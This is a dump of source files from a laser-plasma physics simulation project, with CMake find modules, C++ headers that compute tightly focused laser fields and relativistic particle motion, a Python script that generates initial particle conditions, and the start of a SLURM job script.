label=\"SciPy\")\nplt.plot(x_fft_scipy_spliced, y_fft_scipy_ana, label=\"SciPy - analytical\")\nplt.legend(loc=0)\nplt.show()\n" }, { "alpha_fraction": 0.5816023945808411, "alphanum_fraction": 0.5895153284072876, "avg_line_length": 32.931034088134766, "blob_id": "746eb3deae87ebd7324a1b827a389290820a62d8", "content_id": "7e3fd7599318902c5e1b57ad5058c23481d004f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 1011, "license_type": "no_license", "max_line_length": 86, "num_lines": 29, "path": "/cmake/Modules/FindMeshPI.cmake", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "# --------------------------------------------------------------------------- #\r\n# Author: Denis Gagnon <[email protected]> #\r\n# Date: 2017-06-07 #\r\n# Description: CMake module to find meshpi. #\r\n# ----\r\n\r\n# -- LibFindMacros for convenience\r\n# https://github.com/Tronic/cmake-modules/blob/master/LibFindMacros.cmake\r\ninclude(LibFindMacros)\r\n\r\n# Use pkg-config to get hints about paths\r\nlibfind_pkg_check_modules(meshpi_PKGCONF meshpi)\r\n\r\n# Include dir\r\nfind_path(meshpi_INCLUDE_DIR\r\n NAMES meshpi\r\n PATHS ${meshpi_PKGCONF_INCLUDE_DIRS}\r\n)\r\n\r\n# Finally the library itself\r\nfind_library(meshpi_LIBRARY\r\n NAMES libMeshPI MeshPI libMeshPI.so libMeshPI.dylib\r\n PATHS ${meshpi_PKGCONF_LIBRARY_DIRS}\r\n)\r\n\r\n# Set the include dir variables and the libraries and let libfind_process do the rest.\r\nset(meshpi_PROCESS_INCLUDE meshpi_INCLUDE_DIR)\r\nset(meshpi_PROCESS_LIB meshpi_LIBRARY)\r\nlibfind_process(meshpi)" }, { "alpha_fraction": 0.5524144172668457, "alphanum_fraction": 0.5710433721542358, "avg_line_length": 39.933109283447266, "blob_id": "ebad314147447ef08e33fc6a482d20dd74e09f6b", "content_id": "22ca98e27e770d996895c52a3a5022df2b3c426b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 12240, "license_type": "no_license", "max_line_length": 179, "num_lines": 299, "path": "/include/mellotron_bits/fields/SalaminTightlyFocused.hpp", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "#ifndef SALAMIN_TIGHTLY_FOCUSED_HPP\n#define SALAMIN_TIGHTLY_FOCUSED_HPP\n\n#include <Cubature>\n#include <cuba.h>\n#include <boost/math/constants/constants.hpp>\n#include <complex>\n#include <stdexcept>\n\nusing namespace std::complex_literals;\n\nnamespace mellotron {\nnamespace cst = boost::math::constants;\n\n/// enum to choose the quadrature method.\nenum SalaminQuadratureMethod {CubatureH, CubatureP, CubaCuhre};\n\n/// Forward declaration of the interface to Cubature.\nint interface_to_cubature_salamin(unsigned int ndim, const double * x, void *fdata,\n unsigned int fdim, double * fval);\n\n/// Forward declaration of the interface to Cuba.\nint interface_to_cuba_salamin(const int *ndim, const double x[],\n\t const int *fdim, double fval[], void *fdata);\n\n/*!\n * \\class SalaminTightlyFocusedLinear\n * \\author Joey Dumont <[email protected]>\n * \\since 2016-10-18\n * \\brief Implements the linearly polarized Salamin model.\n *\n * Evaluates the electromagnetic field components of the Salamin solution, linearly polarized\n * case. Some care must be taken near the origin, as the some of the auxiliary functions diverge.\n *\n * Ref: Y. I. Salamin, Phys. Rev. A. 92, 063818 (2015).\n */\nclass SalaminTightlyFocusedLinear\n{\npublic:\n\n /// The model depends on the following parameters, the wavelength lambda,\n /// the waist waist and the axial length L. It is also possible to pass\n /// parameters for the integration routine.\n ///\t\t@param[in] my_lambda\t\tCentral wavelength of the beam.\n /// @param[in] my_waist\t\t\tWaist size of the beam.\n /// @param[in] my_L Axial length of the beam.\n /// @param[in] my_method Integration method to use.\n /// @param[in] my_xmin Lower bounds of the integration. Array in units of (lambda, lambda, L).\n /// @param[in] my_xmax Upper bounds of the integration. Array in units of (lambda, lambda, L).\n /// @param[in] my_abstol Absolute tolerance.\n /// @param[in] my_reltol Relative tolerance.\n /// @param[in] my_mineval Minimum number of function evaluations.\n /// @param[in] my_maxeval Maximum number of function evaluations.\n SalaminTightlyFocusedLinear(double my_lambda,double my_waist,double my_L,double my_energy,\n \tSalaminQuadratureMethod my_method = CubaCuhre, std::initializer_list<double> my_xmin = {-15,-15,-30}, std::initializer_list<double> my_xmax = {15,15,30},\n \tdouble my_abstol = 1.0e-4, double my_reltol = 1.0e-4, int my_mineval = 1, int my_maxeval = 1e8)\n : lambda(my_lambda)\n , waist(my_waist)\n , L(my_L)\n , energy(my_energy)\n , method(my_method)\n , xmin(my_xmin)\n , xmax(my_xmax)\n , abstol(my_abstol)\n , reltol(my_reltol)\n , mineval(my_mineval)\n , maxeval(my_maxeval)\n {\n \txmin[0] *= lambda;\n \txmin[1] *= lambda;\n \txmin[2] *= L;\n \txmax[0] *= lambda;\n \txmax[1] *= lambda;\n \txmax[2] *= L;\n\n norm_factor = 1.0;\n ComputeNormalizationFactor();\n }\n\n /// This constructor takes an additional argument, my_norm_constant, which consists in the integral\n /// of 0.5*(E^2+B^2) for an energy of 1.0.\n SalaminTightlyFocusedLinear(double my_lambda,double my_waist,double my_L,double my_norm_constant,double my_energy)\n : lambda(my_lambda)\n , waist(my_waist)\n , L(my_L)\n , energy(my_energy)\n {\n norm_factor = my_norm_constant/std::sqrt(energy);\n }\n\n /// Computes the field components.\n std::array<double,6> ComputeFieldComponents(double t, double x, double y, double z) const\n {\n double pi = cst::pi<double>();\n // Define the beam coordinates.\n double r = std::sqrt(x*x+y*y);\n double rho = r / waist;\n double eta = 0.5*(z+t);\n double zeta = z - t;\n double zetap = pi*zeta/L;\n\n // Define some beam properties.\n double k0 = 2.0*pi/lambda;\n double zr = pi*std::pow(waist,2)/lambda;\n\n // Define auxiliary variables.\n double alpha = eta/zr;\n std::complex<double> p = std::complex<double>(1.0,alpha);\n std::complex<double> E0 = 2.0*k0*zr/(1i*(1.0+4.0*k0*zr));\n std::complex<double> Q1 = 4.0*1i*k0 - 2.0/zeta + 1i*(p-rho*rho)/(zr*p*p);\n std::complex<double> Q2 = 4.0*1i*k0 - 2.0/zeta - 1i*(2.0*p-rho*rho)/(zr*p*p);\n std::complex<double> Q3 = 4.0/(zeta*zeta) + (p-2.0*rho*rho)/(zr*zr*p*p*p) - std::pow(2.0*pi/(L*std::sin(zetap)),2);\n std::complex<double> R = 0.5*(Q1 + 2.0*pi/(L*std::tan(zetap)));\n std::complex<double> prefac = E0/k0*std::exp(2.0*1i*k0*zeta)/(zetap)*std::exp(-rho*rho/p)/p;\n\n // Compute the fields.\n double Ex = std::real(0.5*prefac\n *(\n (Q1 - (16.0*x*x/(p*p*std::pow(waist,4)))*(0.5/R-1i/(4.0*zr*p*R*R)))*std::sin(zetap)\n +2.0*pi/L*std::cos(zetap)\n )\n );\n\n\n double Ey = std::real(-8.0*prefac*x*y/(p*p*std::pow(waist,4))*(0.5/R-1i/(4.0*zr*p*R*R))*std::sin(zetap));\n double Ez = std::real(2.0*prefac*x/(p*waist*waist)\n *(\n (Q2/(2.0*R)-Q3/(4.0*R*R))*std::sin(zetap)\n +pi/(R*L)*std::cos(zetap)\n )\n );\n double Bx = 0.0;\n double By = std::real(prefac/2.0\n *(\n (4.0*1i*k0-2.0/zeta)*std::sin(zetap)\n +2.0*pi/L*std::cos(zetap)\n )\n );\n double Bz = std::real(2.0*prefac*y/(p*waist*waist)*std::sin(zetap));\n\n // Determine limits by hand.\n if (std::abs(zetap) < 1.0e-45)\n {\n Ex = std::real(prefac*pi/L);\n Ey = 0.0;\n Ez = std::real(2.0*prefac*x/(p*waist*waist)*pi/(R*L));\n Bx = 0.0;\n By = std::real(prefac*pi/L);\n Bz = 0.0;\n }\n\n std::array<double,6> field = {Ex,Ey,Ez,Bx,By,Bz};\n for (uint i=0; i<6; i++)\n {\n field[i] /= norm_factor;\n }\n\n return field;\n }\n\n double lambda; ///< Central wavelength of the pulse.\n double waist; ///< Beam waist size (radius).\n double L; ///< Axial length of the pulse, related to FWHM duration.\n double energy; ///< Total energy contained in the pulse.\n double norm_factor; ///< Normalization factor for the field to contain the proper energy.\n\n /// Compute the energy contained in the field and rescale the components.\n int ComputeNormalizationFactor()\n {\n \tconst int ndim = 3;\n \tconst int fdim = 1;\n int nregions, neval, error_flag;\n double val[1], err[1], prob[1];\n\n if (method == CubaCuhre)\n {\n\t Cuhre(ndim, // Number of dimensions over which to integrate.\n\t \t\t fdim, // Number of components of the vector integrand. We have a scalar integrand here.\n\t \t\t interface_to_cuba_salamin, // Function that evaluates the integrand.\n\t \t\t this, // Pass the pointer to the object currently allocated. Allows Cuhre to access elements inside the class.\n\t \t\t 1, // Number of points to be given to the integrand for evaluation. Not sure how to make ComputeFieldComponents SIMD-compatible, so set to 1.\n\t \t\t reltol,abstol, // Relative and absolute tolerance.\n\t \t\t 0, // Complicated system of flags passed to Cuhre and other integrators. Unused here.\n\t \t\t mineval,maxeval, // The minimum and maximum number of function evaluations.\n\t \t\t 0, // Specifies the order of the integration. In 3D, this results in degree-11 rule.\n\t \t\t NULL, // Can be used to specify a checkpoint/restart file.\n\t \t\t NULL, // Spin variable, used in the threading model. Best not to use it.\n\t \t &nregions,&neval,&error_flag,\t\t// Stores the number of regions that were needed, the number of function evaluations that were needed and the error flag.\n\t \t &val[0],&err[0],&prob[0]); // Stores the actual value of the integration, the estimated error and the xi^2 probability of error (not really applicable to Cuhre).\n }\n\n else if (method == CubatureH)\n {\n \terror_flag = hcubature(fdim, // Number of components of the vector integrand. We have a scalar integrand here.\n \t\t interface_to_cubature_salamin, // Function that evaluates the integrand.\n \t\t this,\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// Passes the pointer to the object currently allocated. Allows Cuhre to access elements inside the class.\n \t\t ndim, // Number of dimensions over which to integrate.\n \t\t xmin.data(), xmax.data(), // Integration boundaries.\n \t maxeval, // Maximum number of evaluations.\n \t abstol,reltol, ERROR_INDIVIDUAL,\t\t// Absolute and relative tolerances, and the error norm (irrelevant as fdim=1).\n \t val, err); // Store the value of the integrand and its error.\n }\n\n else if (method == CubatureP)\n {\n \terror_flag = pcubature(fdim, // Number of components of the vector integrand. We have a scalar integrand here.\n \t\t interface_to_cubature_salamin, // Function that evaluates the integrand.\n \t\t this,\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// Passes the pointer to the object currently allocated. Allows Cuhre to access elements inside the class.\n \t\t ndim, // Number of dimensions over which to integrate.\n \t\t xmin.data(), xmax.data(), // Integration boundaries.\n \t maxeval, // Maximum number of evaluations.\n \t abstol,reltol, ERROR_INDIVIDUAL,\t\t// Absolute and relative tolerances, and the error norm (irrelevant as fdim=1).\n \t val, err); // Store the value of the integrand and its error.\n }\n\n else\n {\n \tthrow std::runtime_error(\"Unknown integration method in SalaminTightlyFocusedLinear\");\n }\n\n if (error_flag > 0)\n {\n \tstd::cerr << \"There was an error in ComputeNormalizationFactor: \" << error_flag << \"\\n\";\n \tstd::cerr << \"The result is \" << val[0] << \" ยฑ \" << err[0] << \".\" << \"\\n\";\n }\n\n norm_factor = std::sqrt(val[0]/energy);\n\n return error_flag;\n }\n\n\tSalaminQuadratureMethod\t\tmethod;\n\tstd::vector<double> xmin;\n\tstd::vector<double> xmax;\n\tdouble \t\t\t\t\t\t\t\t\t\tabstol;\n\tdouble \t\t\t\t\t\t\t\t\t\treltol;\n\tint \t\t\t\t\t\t\t\t\t\t\tmineval;\n\tint \t\t\t\t\t\t\t\t\t\t\tmaxeval;\n\n};\n\n/// Interface to Cubature.\nint interface_to_cubature_salamin(unsigned int ndim, const double * x, void *fdata,\n unsigned int fdim, double * fval)\n{\n\n // We compute the electromagnetic field.\n auto obj = (SalaminTightlyFocusedLinear * )fdata;\n auto field = obj->ComputeFieldComponents(0.2*obj->lambda, x[0], x[1], x[2]);\n\n // We compute the electromagnetic energy.\n fval[0] = 0.0;\n for (uint i=0; i<6; i++)\n {\n fval[0] += field[i]*field[i];\n }\n\n fval[0] *= 0.5;\n\n return 0;\n}\n\n/// Interface to Cuba\nint interface_to_cuba_salamin(const int *ndim, const double x[],\n\t const int *fdim, double fval[], void *fdata)\n{\n\tauto obj = (SalaminTightlyFocusedLinear* ) fdata;\n\n // We scale the integrand by applying the transformation\n // \tint_a^b f(x)dx --> int_0^1 f[a+(b-a)*y]*(b-a)dy\n // in each dimension.\n\n double xscaled[3];\n double jacobian = 1.0;\n for (int i=0; i<(*ndim); i++)\n {\n \tdouble range = obj->xmax[i]-obj->xmin[i];\n \tjacobian *= range;\n \txscaled[i] = obj->xmin[i]+range*x[i];\n }\n\n\t// We compute the electromagnetic field.\n\tauto field = obj->ComputeFieldComponents(0.2*obj->lambda, xscaled[0],xscaled[1], xscaled[2]);\n\n\t// We compute the electromagnetic energy.\n\tfval[0] = 0.0;\n\tfor (uint i=0; i<6; i++)\n\t{\n\t\tfval[0] += field[i]*field[i];\n\t}\n\n\tfval[0] *= 0.5*jacobian;\n\n\treturn 0;\n}\n\n} // namespace mellotron\n\n#endif // SALAMIN_TIGHTLY_FOCUSED_HPP\n" }, { "alpha_fraction": 0.5206142663955688, "alphanum_fraction": 0.5364713668823242, "avg_line_length": 35.530487060546875, "blob_id": "a4e451c6bad226f157286337b3209df5719f20f6", "content_id": "a26923424d4fb8bdd437554f100b10f763de4075", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5991, "license_type": "no_license", "max_line_length": 154, "num_lines": 164, "path": "/include/mellotron_bits/driver/Particle_meat.hpp", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "#ifndef PARTICLE_MEAT_HPP\n#define PARTICLE_MEAT_HPP\n\nnamespace mellotron {\n\ntemplate <class FieldModel>\ninline\nParticle<FieldModel>::Particle(const double my_charge,\n const double my_mass,\n FieldModel & my_field_model,\n MellotronUnits & my_units,\n const RadiationReactionModel my_radiation_reaction)\n: charge(my_charge)\n, mass(my_mass)\n, field_model(my_field_model)\n, unit_system(my_units)\n, radiation_reaction(my_radiation_reaction)\n{}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticle<FieldModel>::ComputeFieldTensor(const double t,\n const double x,\n const double y,\n const double z)\n{\n std::array<double,6> field = this->field_model.ComputeFieldComponents(t,x,y,z);\n\n for (uint i=0; i<3; i++)\n {\n this->electric_field(i) = field[i];\n this->magnetic_field(i) = field[i+3];\n }\n}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticle<FieldModel>::SetInitConditions(arma::colvec::fixed<8> &x,\n const double x_init,\n const double y_init,\n const double z_init,\n const double px_init,\n const double py_init,\n const double pz_init,\n const double t_init)\n{\n // We compute the initial gamma factor.\n double p_init_sq = std::pow(px_init,2)+std::pow(py_init,2)+std::pow(pz_init,2);\n double gamma = std::sqrt(1.0+p_init_sq/std::pow(mass,2));\n\n // We set the values in the vector.\n x[0] = t_init;\n x[1] = x_init;\n x[2] = y_init;\n x[3] = z_init;\n x[4] = mass*gamma;\n x[5] = px_init;\n x[6] = py_init;\n x[7] = pz_init;\n}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticle<FieldModel>::operator() (const arma::colvec::fixed<8> &x,\n arma::colvec::fixed<8> &dxdt,\n const double t)\n{\n // We compute the field tensor.\n ComputeFieldTensor(x[0],x[1],x[2],x[3]);\n\n ComputeLorentzForce(x, dxdt, t);\n}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticle<FieldModel>::ComputeLorentzForce(const arma::colvec::fixed<8> &x,\n arma::colvec::fixed<8> &dxdt,\n const double t)\n{\n // We define some auxiliary variables.\n arma::colvec position = x.subvec(1,3);\n arma::colvec momentum = x.subvec(5,7);\n\n // We compute the Lorentz gamma factor.\n double gamma = std::sqrt(1.0+std::pow(arma::norm(momentum,2)/mass,2));\n double rel_mass = gamma*mass;\n double charge_to_rel_mass = charge/rel_mass;\n\n // Set the position differentials.\n dxdt.subvec(0,3) = x.subvec(4,7)/rel_mass;\n\n // Compute the force.\n double pdotE = arma::dot(momentum,electric_field);\n\n // Set the momentum differentials.\n dxdt(4) = charge_to_rel_mass*arma::dot(momentum,electric_field);\n dxdt.subvec(5,7) = charge*electric_field+charge_to_rel_mass*arma::cross(momentum,magnetic_field);\n\n // Model the effects of radiation reaction, if activated by the user.\n if (radiation_reaction != NoRR)\n {\n // Lorentz vector.\n arma::colvec lorentz = gamma*electric_field + arma::cross(momentum,magnetic_field);\n\n // Cheeky chi prefactor adds a dimensionful quantity to the mix.\n double chi_prefac = constants::physics::hbar*unit_system.omega_0_SI/(mass*constants::physics::electron_mass*std::pow(constants::physics::c,2));\n chi_sq = std::pow(chi_prefac,2)*(std::pow(arma::norm(lorentz,2),2)-std::pow(pdotE,2));\n\n if (radiation_reaction == LandauLifshitz)\n {\n dxdt.subvec(4,7) -= 2.0*constants::physics::alpha*std::pow(charge/mass,4)/(3.0*gamma)*chi_sq/chi_prefac*x.subvec(4,7);\n }\n\n else if (radiation_reaction == LandauLifshitzQuantumCorrection)\n {\n double quantum_factor = std::pow(1+18.0*chi+69.0*chi_sq*73.0*std::pow(chi,3)+5.806*std::pow(chi_sq,2),-1.0/3.0);\n dxdt.subvec(4,7) -= quantum_factor*2.0*constants::physics::alpha*std::pow(charge,4)/(3.0*gamma)*chi_sq/chi_prefac*x.subvec(4,7);\n }\n }\n}\n\ntemplate <class FieldModel>\ninline\nParticleIonized<FieldModel>::ParticleIonized(const double my_charge,\n const double my_mass,\n FieldModel & my_field_model,\n MellotronUnits & my_units,\n double my_field_threshold,\n const RadiationReactionModel my_radiation_reaction)\n: Particle<FieldModel>(my_charge,my_mass,my_field_model,my_units,my_radiation_reaction)\n, field_threshold(my_field_threshold)\n, ApplyLorentzForce(false)\n{}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticleIonized<FieldModel>::operator() (const arma::colvec::fixed<8> & x,\n arma::colvec::fixed<8> & dxdt,\n const double t)\n{\n // We compute the field tensor.\n this->ComputeFieldTensor(x[0],x[1],x[2],x[3]);\n\n // We check whether the field has attained the threshold.\n if (!ApplyLorentzForce)\n {\n ApplyLorentzForce = arma::norm(this->electric_field,2) > this->field_threshold;\n }\n\n if (ApplyLorentzForce)\n this->ComputeLorentzForce(x, dxdt, t);\n\n else\n dxdt.fill(0.0);\n}\n\n} // namespace mellotron\n\n#endif // PARTICLE_MEAT_HPP\n" }, { "alpha_fraction": 0.5348219275474548, "alphanum_fraction": 0.540669858455658, "avg_line_length": 47.230770111083984, "blob_id": "6db397e8bcc5891206fc3cbe35c0d9078056ec65", "content_id": "0ee809f8df0c6d3ec90b6c4db9c5fe3978f472af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 1881, "license_type": "no_license", "max_line_length": 91, "num_lines": 39, "path": "/cmake/Modules/FindCubature.cmake", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "# --------------------------------------------------------------------------- #\n# Author: Joey Dumont <[email protected]> #\n# Date: 2016-10-26 #\n# Description: Attempts to find the Cubature library. #\n# License: CC0 #\n# <https://creativecommons.org/publicdomain/zero/1.0/> #\n# #\n# This CMake module attempts to find the Cubature library. Once it is done, #\n# the following will be defined: #\n# - CUBATURE_FOUND: if system has Cubature and everything is parsed; #\n# - CUBATURE_INCLUDE_DIR: folder where headers are. #\n# - CUBATURE_LIBRARY: library against which to link. #\n# ----------------------------------------------------------------------------#\n\n# -- LibFindMacros for convenience\n# https://github.com/Tronic/cmake-modules/blob/master/LibFindMacros.cmake\ninclude(LibFindMacros)\n\n# -- We use pkg-config to give information about the\nlibfind_pkg_check_modules(Cubature_PKGCONF Cubature)\n\nfind_path(Cubature_INCLUDE_DIR\n NAMES Cubature\n PATHS ${Cubature_PKGCONF_INCLUDE_DIRS}\n HINT external/Cubature/include\n)\n\n# Finally the library itself\nfind_library(Cubature_LIBRARY \n NAMES libCubature.a libCubature.so Cubature libCubature\n PATHS ${Cubature_PKGCONF_LIBRARY_DIRS}\n HINT external/Cubature\n)\n \n# Set the include dir variables and the libraries and let libfind_process do the rest.\n# NOTE: Singular variables for this library, plural for libraries this this lib depends on.\nset(Cubature_PROCESS_INCLUDE Cubature_INCLUDE_DIR)\nset(Cubature_PROCESS_LIB Cubature_LIBRARY)\nlibfind_process(Cubature)\n" }, { "alpha_fraction": 0.5362247228622437, "alphanum_fraction": 0.5500246286392212, "avg_line_length": 34, "blob_id": "bf493379ac7c6e147ac9b30ce024b8afa57975d2", "content_id": "914a527d3972b30b0ebec17c465fdc72e664fd2b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2029, "license_type": "no_license", "max_line_length": 89, "num_lines": 58, "path": "/simulations/StrattoCalculatorWrapper.hpp", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "/*! ------------------------------------------------------------------------- *\n * \\author Joey Dumont \t\t\t\t\t\t\t\t\t\t *\n * \\since 2017-05-31 *\n * *\n * Header-only wrapper to use the field computation abilities of the *\n * StrattoCalculator from the MELLOTRON. *\n * --------------------------------------------------------------------------*/\n\n#ifndef STRATTO_CALCULATOR_WRAPPER_HPP\n#define STRATTO_CALCULATOR_WRAPPER_HPP\n\n#include <armadillo>\n#include <meshpi>\n#include <strattocalculator>\n#include <mellotron>\n\nusing namespace MeshPI;\nusing namespace StrattoCalculator;\n\ntemplate <class FieldRepresentation>\nclass StrattoCalculatorWrapper\n{\npublic:\n /// Sets the field representation.\n StrattoCalculatorWrapper(TemporalEMFieldMeshless<FieldRepresentation> & my_field_rep)\n : field_rep(my_field_rep)\n {}\n\n /// Computes the field in Cartesian coordinates, as the MELLOTRON expects.\n std::array<double,6> ComputeFieldComponents(double t, double x, double y, double z)\n {\n // Convert the coordinates to cylindrical coordinates.\n double r = std::sqrt(x*x+y*y);\n double theta = std::atan2(y,x);\n\n // Compute cos and sin.\n double c = std::cos(theta);\n double s = std::sin(theta);\n\n std::array<double,6> cylField,cartField;\n cylField = field_rep.ComputeFieldInTime(t,r,theta,z,0);\n\n // Convert the cylindrical components to\n cartField[0] = c*cylField[0]-s*cylField[1];\n cartField[1] = s*cylField[0]+c*cylField[1];\n cartField[2] = cylField[2];\n cartField[3] = c*cylField[3]-s*cylField[4];\n cartField[4] = s*cylField[3]+c*cylField[4];\n cartField[5] = cylField[5];\n\n return cartField;\n }\n\nprotected:\n TemporalEMFieldMeshless<FieldRepresentation> & field_rep;\n};\n\n#endif // STRATTO_CALCULATOR_WRAPPER_HPP" }, { "alpha_fraction": 0.5645511150360107, "alphanum_fraction": 0.5761168003082275, "avg_line_length": 35.98930358886719, "blob_id": "b9e3538c1928c7c80eb08be46390c8adc94cd21f", "content_id": "db1ff26e511a70e02a09db80951b882a90e8c713", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6917, "license_type": "no_license", "max_line_length": 124, "num_lines": 187, "path": "/simulations/GenerateInitialConditions.py", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "import sys as sys\nimport numpy as np\nimport argparse as ap\nfrom scipy.constants import codata\nfrom numpy import sin as sin\nfrom numpy import cos as cos\nfrom math import pow as pow\nimport xml.etree.ElementTree as ET\n#from IPython import embed\n\ndef placeParticlesInSphere(sphere_radius, wavelength, numpart):\n # Sphere radius in electronic units (converted from SI units, i.e. meters)\n R = 2.0 * np.pi * sphere_radius / wavelength\n\n # Generate uniformly distributed values of phi, cos theta and radius (in\n # spherical coordinates. radius is between 0 and 1)\n phi = np.random.uniform(low=0.0,high=2.0*np.pi,size=numpart)\n costheta = np.random.uniform(low=-1.0,high=1.0,size=numpart)\n radius = np.random.uniform(high=1.0,size=numpart)\n\n x = np.empty((numpart))\n y = np.empty((numpart))\n z = np.empty((numpart))\n for pid in range(numpart): # Loop on particle indices\n theta = np.arccos( costheta[pid] )\n r = R * pow( radius[pid], 1./3. ) # In electronic units (use R)\n\n x[pid] = r * sin( theta) * cos( phi[pid] )\n y[pid] = r * sin( theta) * sin( phi[pid] )\n z[pid] = r * cos( theta )\n\n return x, y, z\n\n\ndef placeParticlesInCylinder(base_radius, half_height, wavelength, numpart):\n # base radius in electronic units (converted from SI units, i.e. meters)\n B = 2.0 * np.pi * base_radius / wavelength\n # half height in electronic units\n H = 2.0 * np.pi * half_height / wavelength\n # Generate uniformly distributed values of cos theta, position in z and radius (in\n # cylindrical coordinates. radius is between 0 and 1)\n theta = np.random.uniform(low=0.0,high=2.0*np.pi,size=numpart)\n radius = np.random.uniform(high=1.0,size=numpart)\n randpos = np.random.uniform(low=-1.0,high=1.0,size=numpart)\n\n x = np.empty((numpart))\n y = np.empty((numpart))\n z = np.empty((numpart))\n for pid in range(numpart): # Loop on particle indices\n r = B * radius[pid]\n h = H * randpos[pid]\n\n x[pid] = r * cos(theta[pid])\n y[pid] = r * sin(theta[pid])\n z[pid] = h\n\n return x, y, z\n\ndef placeParticlesInLine(initial_z, half_length, wavelength, numpart):\n # half length and initial position in z in electronic units\n L = 2.0 * np.pi * half_length / wavelength\n Z = 2.0 * np.pi * initial_z / wavelength\n\n # Generate uniformly distributed values of position in x\n randpos = np.random.uniform(low=-1.0,high=1.0,size=numpart)\n\n x = np.empty((numpart))\n y = np.empty((numpart))\n z = np.empty((numpart))\n for pid in range(numpart): # Loop on particle indices\n l = L * randpos[pid]\n\n x[pid] = l\n y[pid] = 0.0\n z[pid] = Z\n\n return x, y, z\n\ndef main():\n \"\"\"\n Generate initial conditions for particle calculations.\n Takes input arguments in SI units on the command line\n and returns appropriate file with\n intial conditions in electronic units\n\n Author: D. Gagnon <[email protected]>\n \"\"\"\n\n # Command line arguments\n parser = ap.ArgumentParser(description=\"Generate the initial conditions for the simulation.\")\n parser.add_argument(\"--shape\", type=str, default=\"sphere\",\n help=\"Shape the initial conditions will be generated as.\")\n parser.add_argument(\"--config\", type=str, default=\"configSalamin.xml\",\n help=\"Name of the config file to parse.\")\n\n # Parse arguments\n args = parser.parse_args()\n\n # Chosen shape for the simulation\n shape = args.shape\n configFile = args.config\n\n # Parse arguments\n tree = ET.parse(configFile)\n config = tree.getroot()\n wavelength = \"\"\n pz = \"\"\n numpart = \"\"\n sphere_radius = \"\"\n base_radius= \"\"\n half_height= \"\"\n initial_z= \"\"\n half_length= \"\"\n for child in config:\n if child.tag == \"generate_initial_conditions\":\n if child[0].tag == \"pz\" \\\n and child[1].tag == \"numpart\" \\\n and child[2].tag == \"sphere\" \\\n and child[3].tag == \"cylinder\" \\\n and child[4].tag == \"line\":\n pz = float(child[0].text)\n numpart = int(child[1].text)\n if child[2][0].tag == \"sphere_radius\":\n sphere_radius = float(child[2][0].text)\n else:\n print(\"Wrong order of arguments in sphere tag\")\n sys.exit()\n if child[3][0].tag == \"base_radius\" \\\n and child[3][1].tag == \"half_height\":\n base_radius = float(child[3][0].text)\n half_height = float(child[3][1].text)\n else:\n print(\"Wrong order of arguments in cylinder tag\")\n sys.exit()\n if child[4][0].tag == \"initial_z\" \\\n and child[4][1].tag == \"half_length\":\n initial_z = float(child[4][0].text)\n half_length = float(child[4][1].text)\n else:\n print(\"Wrong order of arguments in line tag\")\n sys.exit()\n else:\n print(\"Wrong order of arguments in generate_initial_conditions tag\")\n sys.exit()\n if child.tag == \"integration_salamin\":\n if child[0].tag == \"lambda\":\n wavelength = float(child[0].text)\n else:\n print(\"Wrong order of arguments in integration_salamin tag\")\n sys.exit()\n if child.tag == \"spectrum\":\n if child[1].tag == \"lambda_c\":\n wavelength = float(child[1].text)\n else:\n print(\"Wrong order of arguments in spectrum tag\")\n sys.exit()\n if wavelength == \"\" or pz == \"\" or numpart == \"\" \\\n or sphere_radius == \"\" or base_radius == \"\" \\\n or half_height == \"\" or initial_z == \"\" or half_length == \"\":\n print(\"Can't find generate_initial_conditions tag, integration_salamin tag, spectrum tag or missing/empty argument\")\n sys.exit()\n\n # Momentum values for px and py\n px = 0.0\n py = 0.0\n # Momentum value for pz in electronic units (converted from eV/c)\n pz = pz / (codata.value('electron mass energy equivalent in MeV') * 1e6) # Denominator is electron mass in eV/c^2\n\n if shape == \"cylinder\":\n x, y, z = placeParticlesInCylinder(base_radius, half_height, wavelength, numpart)\n elif shape == \"line\":\n x, y, z = placeParticlesInLine(initial_z, half_length, wavelength, numpart)\n else:\n x, y, z = placeParticlesInSphere(sphere_radius, wavelength, numpart)\n\n # Create file\n of = open(\"init_conds.txt\",'w')\n\n for pid in range(numpart): # Loop on particle indices\n # Write positions\n of.write(str(x[pid]) + \" \" + str(y[pid]) + \" \" + str(z[pid]) + \" \")\n\n # Write momenta\n of.write(str(px) + \" \" + str(py) + \" \" + str(pz) + '\\n')\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.7397622466087341, "alphanum_fraction": 0.7410832047462463, "avg_line_length": 26.035715103149414, "blob_id": "1255b1e6d2526f7d28baeffe3a7c8ddce92f2a71", "content_id": "9817105e3a3fabf253aa23c1d1c12d432f6a5059", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 757, "license_type": "no_license", "max_line_length": 75, "num_lines": 28, "path": "/scheduler_templates/execute-mellotron-job-cc.sh", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# Print out the SLURM job information. Remove this if you don't need it.\necho \"SLURM_JOBID=\"$SLURM_JOBID\necho \"SLURM_JOB_NODELIST\"=$SLURM_JOB_NODELIST\necho \"SLURM_NNODES\"=$SLURM_NNODES\necho \"SLURMTMPDIR=\"$SLURMTMPDIR\necho \"working directory = \"$SLURM_SUBMIT_DIR\n\n# -- Project directory.\nPROJECT_DIR=~/projects/rrg-maclean-ab/maclean_group/modules/\n\n# -- We import the proper modules.\nmodule use 